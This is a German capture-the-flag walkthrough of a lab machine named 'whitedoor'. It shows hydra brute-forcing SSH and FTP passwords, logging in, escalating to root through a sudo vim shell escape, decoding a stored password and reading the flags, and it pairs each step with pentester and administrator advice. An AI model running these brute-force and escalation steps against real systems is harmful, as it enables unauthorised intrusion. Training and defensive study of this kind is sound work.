Analyse: `hydra` ist ein Brute-Force-Tool zum Knacken von Passwörtern. Hier wird versucht, das SSH-Passwort für den zuvor entdeckten Benutzer `Gonzalo` zu finden. * `-l Gonzalo`: Der Benutzername. * `-P /usr/share/wordlists/rockyou.txt`: Die Passwortliste, die verwendet wird (eine sehr bekannte und umfangreiche Liste). * `ssh://192.168.2.131`: Das Zielprotokoll und die IP-Adresse. * `-t 64`: Anzahl der parallelen Threads (sehr hoch, wie die Warnung anmerkt).

Bewertung: Hydra ist erfolgreich! Es findet das Passwort `qwertyuiop` für den Benutzer `Gonzalo` am SSH-Dienst. Dies ist ein sehr schwaches Passwort und unterstreicht die Bedeutung starker Passwörter.

Empfehlung (Pentester): Nutzen Sie die gefundenen Zugangsdaten, um sich per SSH als `Gonzalo` anzumelden und Initial Access zum System zu erhalten.
Empfehlung (Admin): Setzen Sie Passwortrichtlinien durch, die komplexe Passwörter erfordern. Verbieten Sie die Verwendung gängiger oder leicht zu erratender Passwörter. Implementieren Sie Intrusion Detection/Prevention Systeme (z.B. `fail2ban`), um Brute-Force-Angriffe zu erkennen und zu blockieren. Verwenden Sie nach Möglichkeit schlüsselbasierte Authentifizierung für SSH anstelle von Passwörtern.

┌──(root㉿cyber)-[~] └─# hydra -l Gonzalo -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.131 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-17 16:43:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344490 login tries (l:1/p:14344490), ~224133 tries per task
[DATA] attacking ssh://192.168.2.131:22/
[STATUS] 352.00 tries/min, 352 tries in 00:01h, 14344169 to do in 679:11h, 33 active

[22][ssh] host: 192.168.2.131   login: Gonzalo   password: qwertyuiop

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 31 final worker threads did not complete until end.
[ERRR] 31 targets did not resolve or could not be connected
[ERRR] 0 target did not complete
                    

Analyse: Ähnlich wie beim SSH-Versuch wird Hydra nun verwendet, um das Passwort für den Benutzer `Gonzalo` am FTP-Dienst (Port 21) zu knacken. Die Optionen sind identisch, nur das Zielprotokoll ist `ftp://`.

Bewertung: Hydra findet erneut das Passwort `qwertyuiop` für `Gonzalo`. Dies bestätigt, dass der Benutzer dasselbe schwache Passwort für beide Dienste (SSH und FTP) verwendet.

Empfehlung (Pentester): Dies bestätigt die Wiederverwendung von Passwörtern. Auch wenn wir bereits SSH-Zugang haben, ist es gut zu wissen, dass auch FTP mit diesem Konto kompromittiert wäre.
Empfehlung (Admin): Passwort-Wiederverwendung über verschiedene Dienste hinweg ist ein erhebliches Risiko. Schulen Sie Benutzer darin, für jeden Dienst eindeutige, starke Passwörter zu verwenden. Erwägen Sie zentrale Authentifizierungslösungen (z.B. LDAP, Kerberos), um die Passwortverwaltung zu vereinfachen und die Wiederverwendung zu reduzieren.

┌──(root㉿cyber)-[~] └─# hydra -l Gonzalo -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.131 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-17 16:43:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344490 login tries (l:1/p:14344490), ~224133 tries per task
[DATA] attacking ftp://192.168.2.131:21/

[21][ftp] host: 192.168.2.131   login: Gonzalo   password: qwertyuiop

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 20 final worker threads did not complete until end.
[ERRR] 20 targets did not resolve or could not be connected
[ERRR] 0 target did not complete
                    

Analyse: Mit den durch Hydra gefundenen Zugangsdaten wird nun eine SSH-Verbindung zum Zielsystem als Benutzer `Gonzalo` aufgebaut: `ssh Gonzalo@192.168.2.131`. Das Passwort `qwertyuiop` wird bei Aufforderung eingegeben.

Bewertung: Der SSH-Login ist erfolgreich! Wir haben nun eine interaktive Shell auf dem Zielsystem als Benutzer `Gonzalo`. Dies markiert den erfolgreichen Abschluss der Initial Access Phase.

Empfehlung (Pentester): Beginnen Sie sofort mit der Post-Exploitation-Enumeration als Benutzer `Gonzalo`. Suchen Sie nach Möglichkeiten zur Privilegieneskalation (sudo-Rechte, SUID-Binaries, Cronjobs, Kernel-Exploits, sensible Dateien). Führen Sie Befehle wie `id`, `uname -a`, `sudo -l`, `find / -perm -4000 2>/dev/null` aus.
Empfehlung (Admin): Ändern Sie sofort das Passwort für den Benutzer `Gonzalo`. Untersuchen Sie die Logs, um festzustellen, wann und wie der unbefugte Zugriff erfolgte. Implementieren Sie die zuvor genannten Maßnahmen (starke Passwörter, fail2ban, etc.).

┌──(root㉿cyber)-[~] └─# ssh Gonzalo@192.168.2.131
The authenticity of host '192.168.2.131 (192.168.2.131)' can't be established.
ED25519 key fingerprint is SHA256:zI6VeeIsxD3aPkTJng3eY1ZoPGGqaAdBAGU7E1nlHxI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.131' (ED25519) to the list of known hosts.
Gonzalo@192.168.2.131's password:
Linux whitedoor 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Nov 16 18:55:42 2023 from 192.168.2.5
                    
Gonzalo@whitedoor:~$

Analyse: Nach dem erfolgreichen SSH-Login als `Gonzalo` werden grundlegende Enumerationsbefehle ausgeführt: `ls -la` listet den Inhalt des Home-Verzeichnisses auf, `ls ..` zeigt den Inhalt des übergeordneten Verzeichnisses (`/home`) und `id` zeigt die Benutzer- und Gruppen-IDs an.

Bewertung: Die Ausgabe von `ls -la` zeigt die typische Struktur eines Linux-Home-Verzeichnisses. Interessant ist, dass viele Verzeichnisse (`Desktop`, `Documents` etc.) `root` als Eigentümer und `Gonzalo` als Gruppe haben, was ungewöhnlich ist. Die Gruppenzugehörigkeit von `Gonzalo` (uid=1002, gid=1002) ist normal. Die Ausgabe von `ls ..` bestätigt die Existenz des anderen Benutzers `whiteshell`.

Empfehlung (Pentester): Die ungewöhnlichen Berechtigungen in `/home/Gonzalo` könnten auf Konfigurationsfehler hindeuten. Untersuchen Sie die Verzeichnisse genauer, insbesondere `Desktop`. Führen Sie `sudo -l` aus, um zu prüfen, welche Befehle `Gonzalo` mit Root-Rechten ausführen darf.
Empfehlung (Admin): Korrigieren Sie die Eigentümer- und Gruppenberechtigungen in `/home/Gonzalo`. Standardmäßig sollte der Benutzer Eigentümer seines Home-Verzeichnisses sein (`chown -R Gonzalo:Gonzalo /home/Gonzalo`). Überprüfen Sie, warum diese Berechtigungen falsch gesetzt wurden.

Gonzalo@whitedoor:~$ ls -la
total 52
drwxr-x--- 9 Gonzalo whiteshell 4096 Nov 17 18:11 .
drwxr-xr-x 4 root    root       4096 Nov 16 16:58 ..
-rw------- 1 Gonzalo Gonzalo     718 Nov 17 20:06 .bash_history
-rw-r--r-- 1 Gonzalo Gonzalo     220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 Gonzalo Gonzalo    3526 Apr 23  2023 .bashrc
drwxr-xr-x 2 root    Gonzalo    4096 Nov 17 19:26 Desktop
drwxr-xr-x 2 root    Gonzalo    4096 Nov 16 21:04 Documents
drwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:09 Downloads
drwxr-xr-x 3 Gonzalo Gonzalo    4096 Nov 16 17:03 .local
drwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:11 Music
drwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:07 Pictures
-rw-r--r-- 1 Gonzalo Gonzalo     807 Apr 23  2023 .profile
drwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:09 Public
                    
Gonzalo@whitedoor:~$ ls ..
Gonzalo  whiteshell
                    
Gonzalo@whitedoor:~$ id
uid=1002(Gonzalo) gid=1002(Gonzalo) groups=1002(Gonzalo)
                    

Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu überprüfen, welche Befehle der aktuelle Benutzer (`Gonzalo`) mit `sudo` (also potenziell mit den Rechten anderer Benutzer, meistens `root`) ausführen darf, ohne ein Passwort eingeben zu müssen (`NOPASSWD`).

Bewertung: Die Ausgabe zeigt, dass der Benutzer `Gonzalo` den Befehl `/usr/bin/vim` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD`) ausführen darf. `vim` ist ein mächtiger Texteditor, der jedoch auch die Ausführung von Shell-Befehlen aus dem Editor heraus erlaubt. Dies ist ein klarer Weg zur Privilegieneskalation.

Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel sofort aus, um Root-Rechte zu erlangen. Führen Sie `sudo /usr/bin/vim` aus, und geben Sie dann im `vim`-Editor `:!/bin/sh` oder `:!/bin/bash` ein, um eine Root-Shell zu starten.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem unsicher und sollte sofort entfernt oder stark eingeschränkt werden. Erlauben Sie Benutzern nur die absolut notwendigen Befehle mit `sudo` und vermeiden Sie Programme, die Shell-Escapes ermöglichen (wie `vim`, `less`, `find`, `awk`, etc.), wenn möglich. Wenn `vim` mit `sudo` benötigt wird, erwägen Sie die Verwendung von `sudoedit` oder eingeschränkten `vim`-Versionen (`rvim`).

Gonzalo@whitedoor:~$ sudo -l
Matching Defaults entries for Gonzalo on whitedoor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User Gonzalo may run the following commands on whitedoor:
    (ALL : ALL) NPASSWD: /usr/bin/vim
                    

Proof of Concept: Ausnutzung der sudo-Fehlkonfiguration (vim)

Kurzbeschreibung: Die sudo-Konfiguration erlaubt dem Benutzer 'Gonzalo', den Texteditor 'vim' mit den Rechten jedes beliebigen Benutzers (einschließlich root) ohne Passworteingabe auszuführen. Da vim die Ausführung von externen Shell-Befehlen erlaubt, kann diese Berechtigung missbraucht werden, um eine interaktive Shell mit den Rechten des Zielbenutzers (root) zu erlangen.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

Analyse Schritt 1: Führen Sie `vim` mit `sudo` aus, um die Privilegien des root-Benutzers anzunehmen. Da `NOPASSWD` gesetzt ist, ist keine Passworteingabe erforderlich.

Bewertung Schritt 1: Der `vim`-Editor wird mit root-Rechten gestartet.

Empfehlung (Pentester): Der Befehl bereitet den nächsten Schritt vor.
Empfehlung (Admin): Die unsichere sudo-Regel ermöglicht diesen Schritt. Siehe Empfehlungen im vorherigen Abschnitt.

Gonzalo@whitedoor:~$ sudo -u root /usr/bin/vim
# (vim öffnet sich, keine direkte Shell-Ausgabe)
                     

Analyse Schritt 2: Innerhalb von `vim`, wechseln Sie in den Befehlsmodus (durch Drücken von `ESC`) und geben Sie `:!/bin/sh` oder `:!/bin/bash` ein, gefolgt von `Enter`. Der Doppelpunkt (`:`) leitet einen `vim`-Befehl ein, das Ausrufezeichen (`!`) führt einen externen Shell-Befehl aus, und `/bin/sh` (oder `/bin/bash`) startet eine Shell.

Bewertung Schritt 2: Da `vim` mit root-Rechten läuft, wird die gestartete Shell ebenfalls mit root-Rechten (uid=0) ausgeführt. Der Befehl `id` bestätigt dies.

Empfehlung (Pentester): Sie haben nun eine interaktive Root-Shell. Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht.
Empfehlung (Admin): Diese Technik unterstreicht die Gefahr von sudo-Regeln, die Shell-Escapes erlauben. Entfernen Sie die Regel.

[ESC]
:!/bin/sh
[ENTER]
                     
# id
uid=0(root) gid=0(root) groups=0(root)
                     
#

Erwartetes Ergebnis: Erfolgreiche Erlangung einer interaktiven Shell mit root-Berechtigungen.

Beweismittel: Die Ausgabe des `id`-Befehls (`uid=0(root)`) innerhalb der durch `vim` gestarteten Shell.

Risikobewertung: Hoch. Diese Schwachstelle ermöglicht einem Benutzer mit geringen Rechten die vollständige Übernahme des Systems als root-Benutzer.

Empfehlungen: Entfernen Sie die unsichere sudo-Regel `(ALL : ALL) NPASSWD: /usr/bin/vim` aus der `/etc/sudoers`-Datei. Gewähren Sie sudo-Rechte nur nach dem Prinzip der geringsten Rechte.

Privilege Escalation

Analyse: Nach Erlangung der Root-Shell durch den Vim-Exploit (siehe POC) werden weitere Enumerationsschritte als root durchgeführt. `ls` listet den Inhalt des aktuellen Verzeichnisses auf (vermutlich `/root`), und `cat root.txt` versucht, die Root-Flag auszulesen. Es gab einen kleinen Tippfehler (`cat ro`).

Bewertung: Die Datei `root.txt` wird gefunden. Der Inhalt wird erfolgreich ausgelesen: `Y0uAr3Th3B3sTy0Ug3Tr0oT!!`. Dies ist die Root-Flag.

Empfehlung (Pentester): Root-Flag gesichert. Führen Sie weitere Post-Exploitation durch, um Persistenz zu erlangen, andere Systeme im Netzwerk zu erreichen oder nach weiteren sensiblen Daten zu suchen. Suchen Sie auch die User-Flag.
Empfehlung (Admin): Sichern Sie die Root-Flag besser ab (restriktivere Berechtigungen). Analysieren Sie, wie der Angreifer Root-Rechte erlangen konnte (hier: sudo/vim) und beheben Sie die Ursache.

# ls
root.txt
                    
# cat ro
cat: ro: No such file or directory
                    
# cat root.txt
Y0uAr3Th3B3sTy0Ug3Tr0oT!!
#

Analyse: Als root wird eine vollwertige Bash-Shell gestartet (`bash`). Anschließend wird versucht, das Home-Verzeichnis des Benutzers `whiteshell` und dessen Desktop-Verzeichnis zu untersuchen (`cat /home/whiteshell/` und `cat /home/whiteshell/Desktop/.my_secret_password.txt`).

Bewertung: Im Desktop-Verzeichnis von `whiteshell` wird eine versteckte Datei `.my_secret_password.txt` gefunden. Ihr Inhalt ist `whiteshell:VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K`. Der zweite Teil sieht nach Base64-Kodierung aus.

Empfehlung (Pentester): Dekodieren Sie den Base64-String. Der Hinweis deutet auf eine doppelte Base64-Kodierung hin. Das Ergebnis könnte das Passwort für den Benutzer `whiteshell` sein.
Empfehlung (Admin): Speichern Sie niemals Passwörter im Klartext oder einfach kodiert in Dateien. Verwenden Sie sichere Passwort-Manager oder Hash-Verfahren. Überprüfen Sie die Berechtigungen für Home-Verzeichnisse.

# bash
root@whitedoor:/root# cat /home/whiteshell/
.bash_history  .bashrc        Documents/     .local/        Pictures/      Public/
.bash_logout   Desktop/       Downloads/     Music/         .profile
                     
root@whitedoor:/root# cat /home/whiteshell/Desktop/.my_secret_password.txt
whiteshell:VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K
                      
root@whitedoor:/root#

Analyse: Der Base64-String `VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K` wird (vermutlich offline oder mit einem Online-Tool) dekodiert. Das Ergebnis `VGgxc0lzVGgzUDRzU3dPckRibGFjNQo=` ist wieder Base64. Eine erneute Dekodierung ergibt `Th1sIsTh3P4sSwrDblac5`.

Bewertung: Das Passwort für den Benutzer `whiteshell` wurde erfolgreich extrahiert: `Th1sIsTh3P4sSwrDblac5`.

Empfehlung (Pentester): Mit diesem Passwort können Sie sich nun auch als `whiteshell` per SSH oder FTP anmelden, falls erforderlich. Dies könnte für Persistenz oder alternative Zugangswege nützlich sein.
Empfehlung (Admin): Ändern Sie das Passwort für `whiteshell`. Entfernen Sie die Passwortdatei. Schulen Sie Benutzer bezüglich sicherer Passwortspeicherung.

# Dekodierung außerhalb des Terminals durchgeführt
base64decode.org = VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K -> VGgxc0lzVGgzUDRzU3dPckRibGFjNQo=
base64decode.org = VGgxc0lzVGgzUDRzU3dPckRibGFjNQo= -> Th1sIsTh3P4sSwrDblac5
                      

Analyse: Es wird eine SSH-Verbindung als Benutzer `whiteshell` mit dem gerade gefundenen Passwort versucht.

Bewertung: Der Login als `whiteshell` ist erfolgreich. Dies bestätigt die Korrektheit des extrahierten Passworts.

Empfehlung (Pentester): Sie haben nun Zugang als ein weiterer Benutzer. Dies ist weniger relevant, da bereits Root-Zugriff besteht, könnte aber in anderen Szenarien nützlich sein.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Ändern Sie kompromittierte Passwörter umgehend.

┌──(root㉿cyber)-[~] └─# ssh whiteshell@192.168.2.131
whiteshell@192.168.2.131's password:
Linux whitedoor 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 17 18:08:29 2023 from 192.168.2.5
                       
whiteshell@whitedoor:~$

Analyse: Zurück in der Root-Shell, wird der `find`-Befehl verwendet, um nach Dateien zu suchen. * `find / -user whiteshell | grep .txt 2>/dev/null`: Sucht im gesamten Dateisystem (`/`) nach Dateien, die dem Benutzer `whiteshell` gehören (`-user whiteshell`), filtert die Ergebnisse nach solchen, die `.txt` im Namen enthalten (`grep .txt`), und leitet Fehlermeldungen (wie "Permission denied" für nicht lesbare Verzeichnisse) ins Nichts um (`2>/dev/null`). * `find / -name user.txt 2>/dev/null`: Sucht im gesamten Dateisystem nach einer Datei mit dem exakten Namen `user.txt`.

Bewertung: Der erste Befehl findet die bereits bekannte Passwortdatei. Der zweite Befehl findet die User-Flag-Datei erfolgreich unter `/home/Gonzalo/Desktop/user.txt`.

Empfehlung (Pentester): Lesen Sie den Inhalt der gefundenen `user.txt` aus, um die User-Flag zu erhalten.
Empfehlung (Admin): Überprüfen Sie die Speicherorte und Berechtigungen von Flag-Dateien oder anderen sensiblen Informationen. Sie sollten nicht in leicht zugänglichen Orten wie dem Desktop liegen.

root@whitedoor:~# find / -user whiteshell | grep .txt 2>/dev/null
/home/whiteshell/Desktop/.my_secret_password.txt
                      
root@whitedoor:~# find / -name user.txt 2>/dev/null
/home/Gonzalo/Desktop/user.txt
                      
root@whitedoor:~#

Analyse: Der Inhalt der gefundenen User-Flag-Datei wird mit `cat` ausgelesen.

Bewertung: Die User-Flag lautet `Y0uG3tTh3Us3RFl4g!!`.

Empfehlung (Pentester): User-Flag erfolgreich gesichert. Der Test ist im Hinblick auf die Flag-Eroberung abgeschlossen.
Empfehlung (Admin): Sichern Sie die User-Flag besser ab. Analysieren Sie den gesamten Angriffspfad und beheben Sie alle identifizierten Schwachstellen (Anonymer FTP, Command Injection, schwache Passwörter, sudo-Fehlkonfiguration).

root@whitedoor:~# cat /home/Gonzalo/Desktop/user.txt
Y0uG3tTh3Us3RFl4g!!
root@whitedoor:~#

Analyse: Es wird erneut eine FTP-Verbindung aufgebaut, diesmal als Benutzer `whiteshell` mit dem zuvor gefundenen Passwort `Th1sIsTh3P4sSwrDblac5`. Anschließend wird der Inhalt des Home-Verzeichnisses aufgelistet.

Bewertung: Der FTP-Login als `whiteshell` ist erfolgreich. Die Verzeichnisauflistung zeigt die Dateien und Ordner im Home-Verzeichnis von `whiteshell`. Eine interessante Beobachtung ist, dass `.bash_history` ein Symlink zu `/dev/null` ist, was bedeutet, dass die Befehlshistorie dieses Benutzers nicht gespeichert wird.

Empfehlung (Pentester): Dies bestätigt erneut den Zugang als `whiteshell`. Das Deaktivieren der Bash-History ist eine gängige (wenn auch nicht sehr starke) Anti-Forensik-Technik.
Empfehlung (Admin): Das Umleiten der `.bash_history` kann die Nachverfolgung von Aktivitäten erschweren. Überwachen Sie solche Änderungen und stellen Sie sicher, dass Logging an anderer Stelle (z.B. System-Logs, Auditd) aktiviert ist.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.131
Connected to 192.168.2.131.
220 (vsFTPd 3.0.3)
Name (192.168.2.131:cyber): whiteshell
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    
ftp> ls -la
229 Entering Extended Passive Mode (|||56075|)
150 Here comes the directory listing.
drwxr-xr-x    9 1001     1001         4096 Nov 17 18:47 .
drwxr-xr-x    4 0        0            4096 Nov 16 16:58 ..
lrwxrwxrwx    1 0        0               9 Nov 16 00:43 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Apr 23  2023 .bash_logout
-rw-r--r--    1 1001     1001         3526 Apr 23  2023 .bashrc
drwxr-xr-x    3 1001     1001         4096 Nov 16 17:05 .local
-rw-r--r--    1 1001     1001          807 Apr 23  2023 .profile
drwxr-xr-x    2 1001     1001         4096 Nov 16 18:43 Desktop
drwxr-xr-x    2 1001     1001         4096 Nov 16 17:08 Documents
drwxr-xr-x    2 1001     1001         4096 Nov 16 17:08 Downloads
drwxr-xr-x    2 1001     1001         4096 Nov 16 17:08 Music
drwxr-xr-x    2 1001     1001         4096 Nov 16 17:08 Pictures
drwxr-xr-x    2 1001     1001         4096 Nov 16 17:08 Public
226 Directory send OK.
                    

Analyse: Dies ist ein Kommentar im ursprünglichen Text, der den erfolgreichen Abschluss der Privilege Escalation markiert.

Bewertung: Die Erlangung von Root-Rechten wurde erfolgreich abgeschlossen.

Empfehlung (Pentester): Dokumentieren Sie den Weg zur Root-Erlangung klar im Bericht (was hier durch den POC und die vorherigen Schritte geschehen ist).
Empfehlung (Admin): Fokussieren Sie sich auf die Behebung der Schwachstellen, die zur Privilegieneskalation geführt haben.

    Privilege Escalation erfolgreich
                     

Flags

cat /home/Gonzalo/Desktop/user.txt
Y0uG3tTh3Us3RFl4g!!
cat root.txt
Y0uAr3Th3B3sTy0Ug3Tr0oT!!